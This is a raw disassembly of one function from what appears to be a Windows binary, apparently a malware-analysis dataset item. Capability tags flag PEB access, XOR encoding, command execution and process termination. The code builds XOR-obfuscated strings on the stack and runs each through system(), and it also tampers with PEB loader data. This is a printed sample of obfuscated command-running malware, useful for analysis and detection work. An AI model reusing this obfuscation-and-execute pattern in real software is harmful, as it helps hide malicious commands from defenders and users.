Function at 0x140002f30
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x750
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14008b080]
xor rax, rsp
mov qword [rbp + 0x700], rax
xor esi, esi
movabs rdi, 0x914fd648d810418d
movabs r12, 0x1a82c00612219d63
movabs r13, 0xfa7f1aa31c15015c
movabs r15, 0xa911a00da5dbdc0e
movabs r14, 0x3ae5ae6f6648fc34
movabs r8, 0xfa7f1aa31c15496d
movabs rbx, 0x5ae9db7fb60fb160
movabs rdx, 0x21b39b1d5813c678
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x3e0]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
call fcn.14000aec0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
call fcn.140002e10
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x37a2a26f6055e902
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0xa64559836f382134
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xcd3ca127bc7e28da
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xd065c97fd0b8b97d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
movabs rax, 0x51d1117329b91e5b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
movabs rax, 0x2e99b20dd55ced05
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs rax, 0x222db9cadc0f6059
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
movabs rax, 0x587ea7556a91e142
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
movabs rax, 0x149ab94e91a78f8d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
movabs rcx, 0xc053a42b3cc5c184
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
movabs rax, 0x22b073125dd87a07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
movabs rax, 0x4e41dde4b7600f11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
movabs rax, 0x664c87391fffdf62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
movabs rax, 0x149ab94e91a7beab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
vmovdqu ymm0, ymmword [rbp + 0x2a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x400]
vmovdqa ymmword [rbp + 0x2a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x420]
vmovdqa ymmword [rbp + 0x2c0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x2e0]
vxorps xmm0, xmm0, xmmword [rbp + 0x440]
vmovdqa xmmword [rbp + 0x2e0], xmm0
lea rcx, [rbp + 0x2a0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x4ddefa45324df807
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x892369d473716f35
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0xcd36a221aa6522e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0xcc62c16fc4afbd6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0x6ac4037b2fbb295b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x7a85b71b9864de0f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x687fefc4db15612f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x664c87391fffdf53
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x650], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x658], rax
movabs rax, 0x22b073125dd87a07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
movabs rax, 0x4e41dde4b7600f11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
movabs rax, 0x664c87391fffdf62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x640]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x660]
vmovdqa ymmword [rbp + 0xc0], ymm1
lea rcx, [rbp + 0xa0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x6ef6a8267e53e800
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0xce472e90333a3b2c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0xa37eee71ee2778b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0x9d26983493efeb3d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rax, 0x1386472a64ea4931
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0x68daed4b8e388252
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x7672efd081573629
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0x1562b30f2bcdec55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0x47b5d53ebfcdcedd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xaf3cec5f4cacb3e7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x2bc473ca0d842de
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xf2af416265049f76
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x25907fe90370eb80
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x90f46a1b0c76f6ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x6a7983891686c7f8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x676ad12928516cb8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0xbfe4b01612e2a5dd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0xacc5f7a7a00e2185
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4d0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4d8], rax
movabs rax, 0x22b073125dd87a07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
movabs rax, 0x4e41dde4b7600f11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
movabs rax, 0x664c87391fffdf62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
movabs rax, 0x149ab94e91a7beab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
movabs rax, 0xc053a42b3cc5c184
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs rax, 0x6d916750ccbc6cb5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
movabs rax, 0x96c12835393edc56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
movabs rax, 0x50f31a9a5f039cef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
movabs rax, 0xe4950e4775029fc8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
movabs rax, 0x92adfec65e7a599
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x530], rax
movabs rax, 0xc05be615c2105ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x538], rax
movabs rax, 0xccc99d367e8ec1f3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
movabs rax, 0xacc5f7d3ce6b4dec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1e0]
vxorps xmm0, xmm0, xmmword [rbp + 0x540]
vmovdqa xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x160]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x31a2a26f6055e902
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rax, 0xa64559836f3e2134
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs rax, 0xcd3ca127bc7e28da
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs rax, 0xd065c97fd0b8b97d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
movabs rax, 0x51d1117329b91e5b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0x2e99b20dd55ced05
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0x222db9cadc0f6059
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
movabs rax, 0x587ea7556a91e142
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
movabs rax, 0x149ab94e91a78f8d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
movabs rcx, 0xc053a42b3cc5c184
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x470], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x478], rax
movabs rax, 0x22b073125dd87a07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
movabs rax, 0x4e41dde4b7600f11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
movabs rax, 0x664c87391fffdf62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
movabs rax, 0x149ab94e91a7beab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
vmovdqu ymm0, ymmword [rbp + 0x300]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x300], ymm1
vmovdqu ymm0, ymmword [rbp + 0x320]
vpxor ymm1, ymm0, ymmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0x320], ymm1
vmovdqa xmm0, xmmword [rbp + 0x340]
vxorps xmm0, xmm0, xmmword [rbp + 0x4a0]
vmovdqa xmmword [rbp + 0x340], xmm0
lea rcx, [rbp + 0x300]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x6ef6a8267e53e800
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0xce472e90333a3b2c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xa37eee71ee2778b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0x9d26983493efeb3d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0x1386472a64ea4931
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x68daed4b8e388252
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x7672efd081573629
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x1562b30f2bcdec55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x7db5d53ebfcdcedd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xed73c15359ebabea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0x3f8300cf6ff4cda
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0xf5a45b694a49b332
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0x319746e32b6aee9a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0x8dc96b341460febc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0x240aba9400c9cff7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0xc71d004304876e7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
movabs rax, 0x22b073125dd87a07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
movabs rax, 0x4e41dde4b7600f11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
movabs rax, 0x664c87391fffdf62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
movabs rax, 0x149ab94e91a7beab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
movabs rax, 0xc053a42b3cc5c184
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
movabs rax, 0x6d916750ccbc6cb5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
movabs rax, 0x96c12835393edc56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
movabs rax, 0x50f31a9a5f039cef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
movabs rax, 0xe4950e4775029fc8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movabs rax, 0x92adfec65e7a599
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
movabs rax, 0xc05be615c2105ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x680]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x6a0]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x6c0]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x6e0]
vmovdqa ymmword [rbp + 0x140], ymm1
lea rcx, [rbp + 0xe0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x6ef6a8267e53e800
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xce472e90333a3b2c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xa37eee71ee2778b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0x9d26983493efeb3d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movabs rax, 0x1386472a64ea4931
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0x68daed4b8e388252
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0x7672efd081573629
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0x1562b30f2bcdec55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x7db5d53ebfcdcedd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0xf221cb5f5fa0abea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0x4dfe4a70a9c4099b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0xf9a5465c6e62e615
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0x228679ff2c5fef98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0x85e16f23297beba1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0x6344b6b00094c4fb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0x692b8c13335566af
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0xa0a0ee1b53aea48b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0xacc5f7d3ce1f2389
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
movabs rax, 0x22b073125dd87a07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
movabs rax, 0x4e41dde4b7600f11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
movabs rax, 0x664c87391fffdf62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
movabs rax, 0x149ab94e91a7beab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
movabs rax, 0xc053a42b3cc5c184
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x6d916750ccbc6cb5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b0], rax
movabs rax, 0x96c12835393edc56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b8], rax
movabs rax, 0x50f31a9a5f039cef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
movabs rax, 0xe4950e4775029fc8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
movabs rax, 0x92adfec65e7a599
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
movabs rax, 0xc05be615c2105ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
movabs rax, 0xccc99d367e8ec1f3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs rax, 0xacc5f7d3ce6b4dec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0x200], ymm1
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x5a0]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x5c0]
vmovdqa ymmword [rbp + 0x260], ymm1
vmovdqa xmm0, xmmword [rbp + 0x280]
vxorps xmm0, xmm0, xmmword [rbp + 0x5e0]
vmovdqa xmmword [rbp + 0x280], xmm0
lea rcx, [rbp + 0x200]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x73d59c3c5101f900
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x9f0c46d06b7a6532
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xf513af3cb16234ee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xa974d36cc7baa86f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x610], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x618], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x600]
vmovdqa ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 8], 0xedf1efc3
mov dword [rbp + 0xc], 0xf4eea4c4
mov word [rbp + 0x10], 0xe8
mov byte [rbp + 0x12], 1
mov rax, rsi
nop dword [rax]
nop dword [rax + rax]
lea ecx, [rax - 0x7b]
xor byte [rbp + rax + 8], cl
inc rax
cmp rax, 9
jb 0x140004200
mov byte [rbp + 0x12], 0
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x11]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x60]
call fcn.14000b0d0
nop
lea rcx, [rbp + 0x60]
call fcn.140002780
mov rbx, rax
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140004271
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000426c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000434d
call fcn.14006e6e4
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0
test rbx, rbx
jne 0x140004354
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xb71a6cca5a356733
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x914fd648d83e6fa3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x630], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x638], rax
vmovdqu ymm0, ymmword [rbp + 0x620]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rcx, [rbp + 0x80]
vzeroupper
call fcn.140002080
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002f9d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rax, 0x3ae5ae6f7640f22f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0x95376ed37567620f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0x914ff866f6302ae2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
vmovdqu ymm0, ymmword [rbp + 0x3a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0x360], ymm1
lea rcx, [rbp + 0x360]
vzeroupper
call fcn.140002080
